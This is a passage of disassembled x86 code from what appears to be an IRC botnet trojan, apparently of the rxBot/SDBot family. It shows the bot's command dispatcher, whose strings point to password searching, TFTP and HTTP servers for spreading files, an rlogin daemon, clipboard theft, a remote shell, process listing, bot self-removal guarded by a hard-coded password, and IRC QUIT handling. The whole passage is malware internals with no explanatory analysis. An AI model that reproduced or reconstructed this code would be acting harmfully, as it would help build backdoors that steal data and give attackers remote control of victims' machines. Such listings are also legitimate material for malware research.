		pop	ecx
		pop	ecx
		jmp	loc_40E4CA
; ---------------------------------------------------------------------------


loc_40CAEF:				; CODE XREF: sub_408A18+1865j
					; sub_408A18+1879j
		push	[ebp+var_A0]
		lea	eax, [ebp+var_B8]
		push	80h
		push	eax
		call	sub_41483D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_BC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_8]
		push	offset aFindpassSearch ; "[FINDPASS]: Searching	for password."
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_41483D
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Eh
		push	eax
		call	sub_412471
		add	esp, 24h
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_BC]
		push	eax
		push	offset sub_4037CA
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40CB8D
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aFindpassFail_0 ; "[FINDPASS]: Failed to	start search thre"...
		jmp	loc_40B8EA
; ---------------------------------------------------------------------------


loc_40CB85:				; CODE XREF: sub_408A18+4178j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40CB8D:				; CODE XREF: sub_408A18+415Aj
		cmp	[ebp+var_2C], esi
		jz	short loc_40CB85
		jmp	loc_40DA31
; ---------------------------------------------------------------------------


loc_40CB97:				; CODE XREF: sub_408A18+183Dj
					; sub_408A18+1851j
		push	5
		call	sub_412661
		test	eax, eax
		pop	ecx
		jle	short loc_40CBBB
		push	offset aTftpAlreadyRun ; "[TFTP]: Already running."


loc_40CBA8:				; CODE XREF: sub_408A18+5298j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		xor	edi, edi
		jmp	loc_40DE2E
; ---------------------------------------------------------------------------


loc_40CBBB:				; CODE XREF: sub_408A18+4189j
		mov	eax, [ebp+ebx+var_A4]
		xor	edi, edi
		cmp	eax, edi
		mov	esi, 104h
		jz	short loc_40CBE0
		push	eax
		lea	eax, [ebp+var_12B8]
		push	esi
		push	eax
		call	sub_41483D
		add	esp, 0Ch
		jmp	short loc_40CBEF
; ---------------------------------------------------------------------------


loc_40CBE0:				; CODE XREF: sub_408A18+41B3j
		push	esi
		lea	eax, [ebp+var_12B8]
		push	eax
		push	edi
		call	ds:dword_420010	; GetModuleFileNameA


loc_40CBEF:				; CODE XREF: sub_408A18+41C6j
		mov	ebx, [ebp+ebx+var_A0]
		cmp	ebx, edi
		jnz	short loc_40CBFF
		mov	ebx, offset byte_42BF44


loc_40CBFF:				; CODE XREF: sub_408A18+41E0j
		push	ebx
		lea	eax, [ebp+var_11B4]
		push	esi
		push	eax
		call	sub_41483D
		mov	eax, dword_42BEBC
		mov	[ebp+var_10A8],	eax
		mov	eax, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_A0]
		mov	[ebp+var_12BC],	eax
		lea	eax, [ebp+var_10A4]
		push	eax
		mov	[ebp+var_10AC],	edi
		call	sub_414670
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1024],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1020],	eax
		lea	eax, [ebp+var_11B4]
		push	eax
		lea	eax, [ebp+var_12B8]
		push	eax
		push	[ebp+var_10A8]
		lea	eax, [ebp+var_2F0]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax
		call	sub_4145E5
		push	edi
		lea	eax, [ebp+var_2F0]
		push	5
		push	eax
		call	sub_412471
		add	esp, 38h
		mov	[ebp+var_10B0],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_12BC]
		push	eax
		push	offset sub_411FA9
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_10B0]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_436694[ecx], eax
		jnz	short loc_40CCE1
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "...


loc_40CCC5:				; CODE XREF: sub_408A18+53EEj
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	loc_40DE30
; ---------------------------------------------------------------------------


loc_40CCD9:				; CODE XREF: sub_408A18+42CFj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40CCE1:				; CODE XREF: sub_408A18+429Fj
		cmp	[ebp+var_101C],	edi
		jz	short loc_40CCD9
		jmp	loc_40DE30
; ---------------------------------------------------------------------------


loc_40CCEE:				; CODE XREF: sub_408A18+1815j
					; sub_408A18+1829j
		mov	esi, [ebp+ebx+var_A4]
		test	esi, esi
		jz	short loc_40CD0D
		push	esi
		call	sub_414972
		test	eax, eax
		pop	ecx
		jz	short loc_40CD0D
		push	esi
		call	sub_414972
		pop	ecx
		jmp	short loc_40CD12
; ---------------------------------------------------------------------------


loc_40CD0D:				; CODE XREF: sub_408A18+42DFj
					; sub_408A18+42EAj
		mov	eax, dword_42BEC0


loc_40CD12:				; CODE XREF: sub_408A18+42F3j
		mov	ebx, [ebp+ebx+var_A0]
		mov	[ebp+var_B60], eax
		xor	eax, eax
		cmp	[ebp+var_458], al
		setz	al
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_B4C], eax
		jz	short loc_40CD47
		lea	eax, [ebp+var_C64]
		push	ebx
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	short loc_40CD72
; ---------------------------------------------------------------------------


loc_40CD47:				; CODE XREF: sub_408A18+431Cj
		push	104h
		lea	eax, [ebp+var_AB0]
		push	eax
		call	ds:dword_420048	; GetSystemDirectoryA
		push	edi
		push	edi
		push	edi
		lea	eax, [ebp+var_D4]
		push	eax
		lea	eax, [ebp+var_AB0]
		push	eax
		call	sub_415D0D
		add	esp, 14h


loc_40CD72:				; CODE XREF: sub_408A18+432Dj
		lea	eax, [ebp+var_C64]
		lea	edx, [eax+1]


loc_40CD7B:				; CODE XREF: sub_408A18+4368j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40CD7B
		sub	eax, edx
		cmp	[ebp+eax+var_C65], 5Ch
		jnz	short loc_40CDA7
		lea	eax, [ebp+var_C64]
		lea	edx, [eax+1]


loc_40CD97:				; CODE XREF: sub_408A18+4384j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40CD97
		sub	eax, edx
		and	[ebp+eax+var_C65], cl


loc_40CDA7:				; CODE XREF: sub_408A18+4374j
		push	[ebp+var_A0]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_EEC]
		push	80h
		push	eax
		mov	[ebp+var_EF0], esi
		call	sub_41483D
		mov	eax, [ebp+var_8]
		mov	ebx, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_B50], eax
		lea	eax, [ebp+var_C64]
		push	eax
		push	[ebp+var_B60]
		mov	[ebp+var_B54], ebx
		push	esi
		call	sub_407D51
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax
		call	sub_4145E5
		push	edi
		lea	eax, [ebp+var_2F0]
		push	4
		push	eax
		call	sub_412471
		add	esp, 20h
		mov	[ebp+var_B58], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_EF0]
		push	eax
		push	offset sub_404F24
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_B58]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_436694[ecx], eax
		jnz	short loc_40CE62
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"...
		jmp	loc_40B33C
; ---------------------------------------------------------------------------


loc_40CE5A:				; CODE XREF: sub_408A18+4450j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40CE62:				; CODE XREF: sub_408A18+442Fj
		cmp	[ebp+var_B44], edi
		jz	short loc_40CE5A
		jmp	loc_40B34B
; ---------------------------------------------------------------------------


loc_40CE6F:				; CODE XREF: sub_408A18+17EDj
					; sub_408A18+1801j
		mov	esi, [ebp+ebx+var_A4]
		test	esi, esi
		jz	short loc_40CE8E
		push	esi
		call	sub_414972
		test	eax, eax
		pop	ecx
		jz	short loc_40CE8E
		push	esi
		call	sub_414972
		pop	ecx
		jmp	short loc_40CE93
; ---------------------------------------------------------------------------


loc_40CE8E:				; CODE XREF: sub_408A18+4460j
					; sub_408A18+446Bj
		mov	eax, dword_42BEC4


loc_40CE93:				; CODE XREF: sub_408A18+4474j
		mov	[ebp+var_7CC], eax
		mov	eax, [ebp+ebx+var_A0]
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_40CEAC
		lea	eax, [ebp+var_F0]


loc_40CEAC:				; CODE XREF: sub_408A18+448Cj
		push	eax
		lea	eax, [ebp+var_90C]
		push	40h
		push	eax
		call	sub_41483D
		mov	ebx, [ebp+ebx+var_9C]
		add	esp, 0Ch
		cmp	ebx, edi
		jnz	short loc_40CECE
		mov	ebx, 420AEAh


loc_40CECE:				; CODE XREF: sub_408A18+44AFj
		push	ebx
		lea	eax, [ebp+var_8CC]
		push	100h
		push	eax
		call	sub_41483D
		push	[ebp+var_A0]
		lea	eax, [ebp+var_98C]
		push	80h
		push	eax
		call	sub_41483D
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_7B8], eax
		lea	eax, [ebp+var_90C]
		push	eax
		push	[ebp+var_7CC]
		mov	[ebp+var_990], esi
		push	esi
		mov	[ebp+var_7BC], ebx
		call	sub_407D51
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"...
		push	eax
		call	sub_4145E5
		push	edi
		lea	eax, [ebp+var_2F0]
		push	7
		push	eax
		call	sub_412471
		add	esp, 20h
		mov	[ebp+var_7C8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_990]
		push	eax
		push	offset sub_40F76F
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_7C8]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_436694[ecx], eax
		jnz	short loc_40CF9B
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"...
		jmp	loc_40B33C
; ---------------------------------------------------------------------------


loc_40CF93:				; CODE XREF: sub_408A18+4589j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40CF9B:				; CODE XREF: sub_408A18+4568j
		cmp	[ebp+var_7B4], edi
		jz	short loc_40CF93
		jmp	loc_40B34B
; ---------------------------------------------------------------------------


loc_40CFA8:				; CODE XREF: sub_408A18+17C5j
					; sub_408A18+17D9j
		mov	ebx, [ebp+ebx+var_A4]
		test	ebx, ebx
		jz	short loc_40CFBB
		push	ebx
		call	sub_414972
		jmp	short loc_40CFC2
; ---------------------------------------------------------------------------


loc_40CFBB:				; CODE XREF: sub_408A18+4599j
		push	9
		call	sub_412680


loc_40CFC2:				; CODE XREF: sub_408A18+45A1j
		test	eax, eax
		pop	ecx
		jz	loc_40E538
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4010CA
		jmp	loc_40D4B1
; ---------------------------------------------------------------------------


loc_40CFE2:				; CODE XREF: sub_408A18+179Dj
					; sub_408A18+17B1j
		mov	eax, dword_4358CC
		test	eax, eax
		jz	short loc_40D005
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40CFFE
		push	offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache	flushed."
		jmp	short loc_40D026
; ---------------------------------------------------------------------------


loc_40CFFE:				; CODE XREF: sub_408A18+45DDj
		push	offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to	flush DNS cache."
		jmp	short loc_40D026
; ---------------------------------------------------------------------------


loc_40D005:				; CODE XREF: sub_408A18+45D1j
		push	offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to	load dnsapi.dll."
		lea	eax, [ebp+var_2F0]
		jmp	short loc_40D026
; ---------------------------------------------------------------------------


loc_40D012:				; CODE XREF: sub_408A18+1775j
					; sub_408A18+1789j
		call	sub_407C73
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40D036
		push	offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache	flushed."


loc_40D026:				; CODE XREF: sub_408A18+45E4j
					; sub_408A18+45EBj ...
		push	200h
		push	eax
		call	sub_41483D
		jmp	loc_40D943
; ---------------------------------------------------------------------------


loc_40D036:				; CODE XREF: sub_408A18+4607j
		push	offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to	flush ARP cache."
		jmp	short loc_40D026
; ---------------------------------------------------------------------------


loc_40D03D:				; CODE XREF: sub_408A18+174Dj
					; sub_408A18+1761j
		cmp	[ebp+var_8], 0
		jnz	short loc_40D05E
		push	0
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h


loc_40D05E:				; CODE XREF: sub_408A18+4629j
		push	0
		push	[ebp+var_4]
		call	sub_4068B0
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		push	offset aMainGetClipboa ; "[MAIN]: Get Clipboard."
		jmp	loc_40D37A
; ---------------------------------------------------------------------------


loc_40D081:				; CODE XREF: sub_408A18+13BEj
					; sub_408A18+13D2j
		push	8
		call	sub_412661
		test	eax, eax
		pop	ecx
		jle	short loc_40D097
		push	offset aCmdRemoteShell ; "[CMD]: Remote	shell already running."
		jmp	loc_40C690
; ---------------------------------------------------------------------------


loc_40D097:				; CODE XREF: sub_408A18+4673j
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_40F31C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jnz	short loc_40D0B6
		push	offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell."
		jmp	loc_40C690
; ---------------------------------------------------------------------------


loc_40D0B6:				; CODE XREF: sub_408A18+4692j
		push	offset aCmdRemoteShe_0 ; "[CMD]: Remote	shell ready."
		jmp	loc_40C690
; ---------------------------------------------------------------------------


loc_40D0C0:				; CODE XREF: sub_408A18+1396j
					; sub_408A18+13AAj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_406395
		jmp	loc_40D39B
; ---------------------------------------------------------------------------


loc_40D0D9:				; CODE XREF: sub_408A18+136Ej
					; sub_408A18+1382j
		push	[ebp+ebx+var_A4]
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_402E1B
		jmp	loc_40D39B
; ---------------------------------------------------------------------------


loc_40D0F6:				; CODE XREF: sub_408A18+1346j
					; sub_408A18+135Aj
		or	esi, 0FFFFFFFFh
		call	ds:dword_420004	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, [ebp+ebx+var_A4]
		test	ebx, ebx
		mov	edi, eax
		jz	short loc_40D11E
		push	ebx
		call	sub_414972
		pop	ecx
		mov	esi, eax


loc_40D11E:				; CODE XREF: sub_408A18+46FBj
		xor	edx, edx
		mov	eax, edi
		mov	ecx, 15180h
		div	ecx
		cmp	eax, esi
		jnb	short loc_40D136
		cmp	esi, 0FFFFFFFFh
		jnz	loc_40E538


loc_40D136:				; CODE XREF: sub_408A18+4713j
		push	0
		call	sub_4115DB
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aMainUptimeS_ ; "[MAIN]:	Uptime:	%s."
		push	eax
		call	sub_4145E5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF


loc_40D175:				; CODE XREF: sub_408A18+24D3j
		add	esp, 28h
		jmp	loc_40E538
; ---------------------------------------------------------------------------


loc_40D17D:				; CODE XREF: sub_408A18+131Ej
					; sub_408A18+1332j
		push	1Fh
		call	sub_412661
		test	eax, eax
		pop	ecx
		jle	short loc_40D1B3
		cmp	[ebp+var_8], 0
		jnz	loc_408C96
		push	0
		push	[ebp+var_4]
		push	offset aProcAlreadyRun ; "[PROC]: Already running."


loc_40D19D:				; CODE XREF: sub_408A18+1F56j
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40D1B3:				; CODE XREF: sub_408A18+476Fj
		push	[ebp+var_A0]
		lea	eax, [ebp+var_450]
		push	80h
		push	eax
		call	sub_41483D
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+ebx+var_A4]
		and	[ebp+var_3CC], 0
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3C8], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		test	ebx, ebx
		mov	[ebp+var_3C4], eax
		jz	short loc_40D214
		push	5
		mov	edi, ebx
		mov	esi, offset aFull ; "full"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40D214
		mov	[ebp+var_3CC], 1


loc_40D214:				; CODE XREF: sub_408A18+47E0j
					; sub_408A18+47F0j
		lea	eax, [ebp+var_2F0]
		push	offset aProcsProccessL ; "[PROCS]: Proccess list."
		push	eax
		call	sub_4145E5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Fh
		push	eax
		call	sub_412471
		add	esp, 14h
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_454]
		push	eax
		push	offset sub_408519
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_3D0]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40D296
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aProcsFailedToS ; "[PROCS]: Failed to start listing thread"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	loc_40C0D2
; ---------------------------------------------------------------------------


loc_40D28E:				; CODE XREF: sub_408A18+4884j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40D296:				; CODE XREF: sub_408A18+4854j
		cmp	[ebp+var_3C0], esi
		jz	short loc_40D28E
		jmp	loc_40C0D2
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_408A18+12F6j
					; sub_408A18+130Aj
		mov	ebx, [ebp+ebx+var_A4]
		test	ebx, ebx
		jz	loc_408C96
		mov	esi, ebx
		mov	eax, offset aN3m3s1s ; "n3m3s1s"


loc_40D2B9:				; CODE XREF: sub_408A18+48BDj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_40D2DB
		test	cl, cl
		jz	short loc_40D2D7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_40D2DB
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40D2B9


loc_40D2D7:				; CODE XREF: sub_408A18+48ABj
		xor	eax, eax
		jmp	short loc_40D2E0
; ---------------------------------------------------------------------------


loc_40D2DB:				; CODE XREF: sub_408A18+48A7j
					; sub_408A18+48B5j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40D2E0:				; CODE XREF: sub_408A18+48C1j
		test	eax, eax
		jnz	loc_408C96
		cmp	[ebp+var_8], eax
		jnz	short loc_40D307
		push	eax
		push	[ebp+var_4]
		push	offset aMainRemovingBo ; "[MAIN]: Removing Bot."
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h


loc_40D307:				; CODE XREF: sub_408A18+48D3j
		push	[ebp+arg_4]
		call	dword_4358F4	; closesocket
		call	dword_435900	; WSACleanup
		call	sub_406A33
		jmp	loc_40DA56
; ---------------------------------------------------------------------------


loc_40D320:				; CODE XREF: sub_408A18+12CEj
					; sub_408A18+12E2j
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_4]
		push	eax
		call	sub_41175C
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		push	offset aMainSystemInfo ; "[MAIN]: System Info."
		jmp	short loc_40D37A
; ---------------------------------------------------------------------------


loc_40D34C:				; CODE XREF: sub_408A18+12A6j
					; sub_408A18+12BAj
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_4119C3
		add	esp, 0Ch
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		push	offset aMainNetworkInf ; "[MAIN]: Network Info."


loc_40D37A:				; CODE XREF: sub_408A18+4664j
					; sub_408A18+4932j
		call	sub_401EFF


loc_40D37F:				; CODE XREF: sub_408A18+33D0j
		add	esp, 18h
		jmp	loc_40E538
; ---------------------------------------------------------------------------


loc_40D387:				; CODE XREF: sub_408A18+127Ej
					; sub_408A18+1292j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_401F9F


loc_40D39B:				; CODE XREF: sub_408A18+1DFj
					; sub_408A18+46BCj ...
		add	esp, 10h
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40D3A3:				; CODE XREF: sub_408A18+1256j
					; sub_408A18+126Aj
		and	[ebp+var_A3C], 0
		cmp	[ebp+var_14], 0
		jz	short loc_40D3E4
		mov	ebx, [ebp+ebx+var_A4]
		test	ebx, ebx
		jz	short loc_40D3E4
		push	ebx
		push	[ebp+var_14]
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D3E4
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_A3C]
		push	80h
		push	eax
		call	sub_41483D
		add	esp, 10h


loc_40D3E4:				; CODE XREF: sub_408A18+4996j
					; sub_408A18+49A1j ...
		push	[ebp+var_A0]
		lea	eax, [ebp+var_ABC]
		push	80h
		push	eax
		call	sub_41483D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_AC0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_9B8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_9B4], eax
		lea	eax, [ebp+var_2F0]
		push	offset aLogListingLog_ ; "[LOG]: Listing log."
		push	eax
		call	sub_4145E5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Dh
		push	eax
		call	sub_412471
		add	esp, 20h
		mov	[ebp+var_9BC], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_AC0]
		push	eax
		push	offset sub_402011
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_9BC]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40D489
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aLogFailedToSta ; "[LOG]: Failed	to start listing thread, "...
		jmp	loc_40E6F1
; ---------------------------------------------------------------------------


loc_40D481:				; CODE XREF: sub_408A18+4A77j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40D489:				; CODE XREF: sub_408A18+4A56j
		cmp	[ebp+var_9B0], esi
		jz	short loc_40D481
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40D496:				; CODE XREF: sub_408A18+122Ej
					; sub_408A18+1242j
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_401E87
		push	offset aMainAliasList_ ; "[MAIN]: Alias	list."
		call	sub_401EFF


loc_40D4B1:				; CODE XREF: sub_408A18+45C5j
		add	esp, 10h
		jmp	loc_40E538
; ---------------------------------------------------------------------------


loc_40D4B9:				; CODE XREF: sub_408A18+1206j
					; sub_408A18+121Aj
		push	[ebp+var_A0]
		lea	eax, [ebp+var_384]
		push	80h
		push	eax
		call	sub_41483D
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+ebx+var_A4]
		mov	[ebp+var_388], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2FC], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		test	ebx, ebx
		mov	[ebp+var_2F8], eax
		jz	short loc_40D512
		push	4
		xor	eax, eax
		mov	edi, offset aSub ; "sub"
		mov	esi, ebx
		pop	ecx
		repe cmpsb
		setz	al
		mov	[ebp+var_300], eax
		jmp	short loc_40D519
; ---------------------------------------------------------------------------


loc_40D512:				; CODE XREF: sub_408A18+4ADFj
		and	[ebp+var_300], 0


loc_40D519:				; CODE XREF: sub_408A18+4AF8j
		lea	eax, [ebp+var_2F0]
		push	offset aThreadsListThr ; "[THREADS]: List threads."
		push	eax
		call	sub_4145E5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	20h
		push	eax
		call	sub_412471
		add	esp, 14h
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_388]
		push	eax
		push	offset sub_412772
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_304]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40D59B
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	loc_40A140
; ---------------------------------------------------------------------------


loc_40D593:				; CODE XREF: sub_408A18+4B89j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40D59B:				; CODE XREF: sub_408A18+4B59j
		cmp	[ebp+var_2F4], esi
		jz	short loc_40D593
		jmp	loc_40A140
; ---------------------------------------------------------------------------


loc_40D5A8:				; CODE XREF: sub_408A18+118Cj
					; sub_408A18+11A0j
		push	offset aBot016	; "Bot016"
		lea	eax, [ebp+var_2F0]
		push	offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s."
		push	eax
		call	sub_4145E5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 20h
		jmp	loc_40A140
; ---------------------------------------------------------------------------


loc_40D5E0:				; CODE XREF: sub_408A18+1164j
					; sub_408A18+1178j
		push	dword_47BEF8
		call	sub_4115DB
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s."
		push	eax
		call	sub_4145E5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 24h
		jmp	loc_40A140
; ---------------------------------------------------------------------------


loc_40D61F:				; CODE XREF: sub_408A18+113Cj
					; sub_408A18+1150j
		mov	ebx, [ebp+ebx+var_A4]
		test	ebx, ebx
		jz	short loc_40D652
		cmp	[ebp+var_14], 0
		jz	short loc_40D661
		push	ebx
		push	[ebp+var_14]
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D661
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		add	esp, 0Ch
		jmp	short loc_40D661
; ---------------------------------------------------------------------------


loc_40D652:				; CODE XREF: sub_408A18+4C10j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		pop	ecx
		pop	ecx


loc_40D661:				; CODE XREF: sub_408A18+4C16j
					; sub_408A18+4C25j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_408C99
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_408A18+1114j
					; sub_408A18+1128j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	offset aMainDisconnect ; "[MAIN]: Disconnecting."
		call	sub_401EFF
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_408C99
; ---------------------------------------------------------------------------


loc_40D68B:				; CODE XREF: sub_408A18+10ECj
					; sub_408A18+1100j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	offset aMainReconnecti ; "[MAIN]: Reconnecting."
		call	sub_401EFF
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_408C99
; ---------------------------------------------------------------------------


loc_40D6AC:				; CODE XREF: sub_408A18+10C4j
					; sub_408A18+10D8j
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_401000


loc_40D6BD:				; CODE XREF: sub_408A18+3337j
